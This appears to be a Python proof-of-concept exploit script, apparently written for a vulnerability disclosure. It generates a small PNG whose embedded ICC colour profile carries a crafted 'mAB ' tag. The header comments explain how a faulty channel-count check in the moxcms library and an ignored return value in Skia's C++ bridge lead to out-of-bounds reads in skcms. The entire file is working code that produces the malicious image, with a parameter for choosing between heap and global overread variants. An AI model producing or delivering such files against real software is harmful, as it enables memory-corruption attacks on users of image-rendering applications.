#!/usr/bin/env python3
# Emit a 4x4 PNG whose iCCP chunk carries an `mAB ` tag declaring
# `input_channels=IN`, `output_channels=3`. moxcms's `read_lut_abm_type`
# validator uses `if in_channels > 4 && out_channels > 4 { return Ok(None); }`
# where the intent is `||`, so (IN>4, out=3) passes. The Rust FFI passes
# `A2B.input_channels=IN` to C++; `ToSkcmsA2B` returns false because IN>4
# but `MakeICCProfileWithRust` discards the return. `skcms_Transform` then
# calls `add_curve_ops(input_curves, IN)` which loops IN iterations reading
# `curves[index].table_entries` at `skcms.cc:2545`. For IN=64 the read
# lands 1176 bytes past the 1000-byte `ColorProfile` heap allocation.
#
# Usage:  python3 make_icc_poc.py [IN]   # default IN=64
#         IN=5 reproduces the small kOps[4] global-OOB variant.
import struct, zlib, sys

def u32(x): return struct.pack('>I', x & 0xffffffff)
def u16(x): return struct.pack('>H', x & 0xffff)
def s15f16(x): return struct.pack('>i', int(round(x * 65536)))
def pad4(b): return b + b'\x00' * ((-len(b)) & 3)

def mAB_tag(IN, OUT=3):
    grid_size = 2
    grid_dims = min(IN, 16)  # moxcms caps at [u8; 16]
    clut_points = grid_size ** grid_dims
    clut_data = b'\x00\x00' * (clut_points * OUT)
    curv = b'curv' + b'\x00' * 4 + u32(1) + u16(0x0233) + b'\x00\x00'  # gamma=2.2

    clut_off = 32
    clut_section = bytes([grid_size] * 16) + b'\x02\x00\x00\x00' + clut_data
    a_off = clut_off + len(clut_section)
    a_curves = curv * IN
    b_off = a_off + len(a_curves)
    b_curves = curv * OUT

    hdr  = b'mAB ' + b'\x00' * 4 + bytes([IN & 0xff, OUT & 0xff, 0, 0])
    hdr += u32(b_off) + u32(0) + u32(0) + u32(clut_off) + u32(a_off)
    assert len(hdr) == 32
    return hdr + clut_section + a_curves + b_curves

def profile(a2b_body):
    wtpt = b'XYZ \x00\x00\x00\x00' + s15f16(0.9642) + s15f16(1.0) + s15f16(0.8249)
    tags = [(b'A2B0', a2b_body), (b'wtpt', wtpt)]
    data_start = (128 + 4 + len(tags) * 12 + 3) & ~3
    entries, tag_data, cur = b'', b'', data_start
    for sig, body in tags:
        p = pad4(body)
        entries += sig + u32(cur) + u32(len(body))
        tag_data += p
        cur += len(p)
    table = u32(len(tags)) + entries
    total = 128 + len(table) + len(tag_data)
    hdr  = u32(total) + b'\x00' * 4 + b'\x04\x30\x00\x00' + b'mntr' + b'RGB ' + b'XYZ '
    hdr += b'\x00' * 12 + b'acsp' + b'\x00' * 28
    hdr += s15f16(0.9642) + s15f16(1.0) + s15f16(0.8249) + b'\x00' * 48
    assert len(hdr) == 128
    return hdr + table + tag_data

def png_chunk(kind, body):
    return u32(len(body)) + kind + body + u32(zlib.crc32(kind + body) & 0xffffffff)

def build(icc):
    W = H = 4
    ihdr = u32(W) + u32(H) + bytes([8, 2, 0, 0, 0])
    idat = zlib.compress((b'\x00' + b'\x00\xff\x00' * W) * H, 9)
    iccp = b'icc\x00\x00' + zlib.compress(icc, 9)
    return (b'\x89PNG\r\n\x1a\n'
            + png_chunk(b'IHDR', ihdr) + png_chunk(b'iCCP', iccp)
            + png_chunk(b'IDAT', idat) + png_chunk(b'IEND', b''))

if __name__ == '__main__':
    IN = int(sys.argv[1]) if len(sys.argv) > 1 else 64
    sys.stdout.buffer.write(build(profile(mAB_tag(IN))))